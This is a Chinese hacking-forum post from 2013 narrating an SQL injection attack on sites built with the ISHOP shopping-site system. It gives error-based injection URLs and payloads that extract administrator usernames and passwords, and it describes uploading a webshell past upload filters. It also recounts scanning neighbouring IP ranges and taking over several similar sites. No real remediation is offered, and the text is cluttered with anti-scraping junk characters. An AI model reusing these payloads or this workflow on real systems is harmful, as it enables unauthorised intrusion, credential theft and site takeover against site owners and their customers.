中国网络渗透测试联盟

标题: ISHOP商场建站系统注入漏洞 [打印本页]
作者: admin    时间: 2013-4-4 17:40
标题: ISHOP商场建站系统注入漏洞
发现一个注入点) a6 E* E$ v0 F$ ?8 z$ ], D1 P3 l* U
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
# k- e( w- j6 A7 p9 f+ r
4 o& m; u9 N7 B4 b3 |习惯性的加’having1=1--
: R1 s5 w2 Q# Y: e$ b6 u
$ {, u. j5 V4 l  yhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
$ v0 K% y' z5 Q8 S1 h8 Y6 }
" x- I' [  }  M" U2 B0
, `" a( g# E. N, w' E. p/ P0 U; {
爆出Diary_A.dl_Title（这时候很激动啊）' j- t1 V( ?6 t
6 u. r6 D9 Y$ `7 G4 e% e
那么继续2 d: h  b% _; x; [& E
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
( C2 E( p* B2 ?2 F
2 Z- s' \9 l" Z% r1 ^% Q& i继续，一直爆下去' x3 W/ c  V$ z

  n* [9 g: o: [, Y4 }) U爆到几个字段和表段 但是没找到需要的管理用户的字段
8 r# n+ U7 S+ J5 B5 k4 w+ T: p
+ X) ~2 R/ T- H- K. b蛋疼了 怎么办 然后去后台登陆页看源码
2 L+ t+ [  s+ ]- S5 y: y7 M
( A! |, Y% W- H. a( }0, `/ ^4 f/ A3 e
: L/ ?( {' N8 m/ O7 t" U; {
Input name= “ADUID”$ M0 N$ B$ h7 N6 S4 X/ W
Input name= “ADPWD”
: n1 z! r- h  r: ?8 y! C0 w! Q* A
6 A2 _  o' N- ?8 r  g很幸运 找到了字段那就继续( {8 h+ F" Q2 B# \& C/ c+ J
找到之后开始爆用户
0 e5 V1 t6 k$ g* e; \http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
% z% a! J! x/ T4 o爆密码
8 ?4 x% |! F  i( ?8 xhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
1 s: t. O# ?0 K4 h测试了下 这个注入点只能爆到文章哪里的表
/ {. ?( r8 S" A- H. U; c( u5 ~0 q; `7 F4 r$ h
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
8 A" Z/ V' d5 l* A! ^& y$ J) S9 `. A% K" E
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
$ U9 }5 D; F; J2 b  A* U- |" y. L6 l1 j! ~0 W4 ~! W( z3 m
473+ Y4 F8 m$ ~9 \. ~; y
) L! w" s. n2 M7 F1 v' u  S; i9 v; k
进后台( N1 n: w. D# H2 P

/ h, ?6 P4 R+ f0 r
; @% P; n& B8 y( j4 I: s+ A) B发现几个上传点 有的地方不能上传 而且防止恶意代码# E: m$ R+ x1 A' _" R
+ F- w, w$ E' P6 N8 W
没办法 各种百度各种找大牛 找到一只好像可以突破的马! u5 i5 c: i2 o; b7 K
4 c# r+ D% e% M: \( X' J9 T- A6 q3 ^
) U" J- ?4 A% `9 n& O  n; i  X) o6 c
在系统管理那里直接上传 不过没有显示地址  a9 s+ @7 N* W- i, j4 d, z8 W1 }

# G4 \$ Z: C4 K再上传一次 抓包 搞定OK2 k% |) h+ D3 ~

+ n$ y: a/ N$ l8 K8 I) D& n, p
  ?# v4 r9 D. _4 p* p' g& I3 w
4721 t( T7 v# X( i& D. c) d: D2 g, g
9 }$ g" Z8 f# A, }, d
晚上不行了 去睡觉。。。* O# f& c' L+ P, {
第二天刚起床 闲的没事做继续日站吧
9 |/ N0 l0 i0 z8 A6 e- ?# h0 y, t
找个站 就把这个站的旁c扫了下2 e( W% S- n/ \0 L/ J. t" q9 [3 l

& y' v4 w4 y( V0 F5 r发现c段也有一个购物站 ，然后还和这个站的模板差不多' |) r$ \- }* g. H/ b! {, S
3 w+ ^) l, ^* ^1 a" c0 R7 a" U
就找到会员登录口测试* C; j  S* |2 r# y" G- ?& E1 R! e

7 ]: f4 r; G% t* U. U7 D9 Y'and (select top 1 MGR_UID from A_MGR)>0—. q6 q* {5 G8 z+ ?
果断爆到了 这时候我很激动 通杀# I% }6 C3 ]1 e

2 s2 b! R" J1 T4 d8 T5 U' O2 O再次翻c段- m2 k, J; J' I1 J, f

; k; b- H7 v5 ?+ E- x; g5 }翻出几个站 都成功拿下
+ ]7 ~& E1 e& ?& V8 o' z6 S0 Y8 ^# \2 ~, \

1 b' ^+ A  J$ y) m; D$ U1 S
7 V& `; \( v/ K" t" _% ~4 k修复方案：
& L2 x; T8 B2 [他们比我专业
/ d' q% s: B% Z: Q​
) W/ J6 j' E7 H) m  t7 N* D  {
4 m: x( R' H( ^/ b$ ]
5 P' {$ e+ c" C( _7 N- N



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2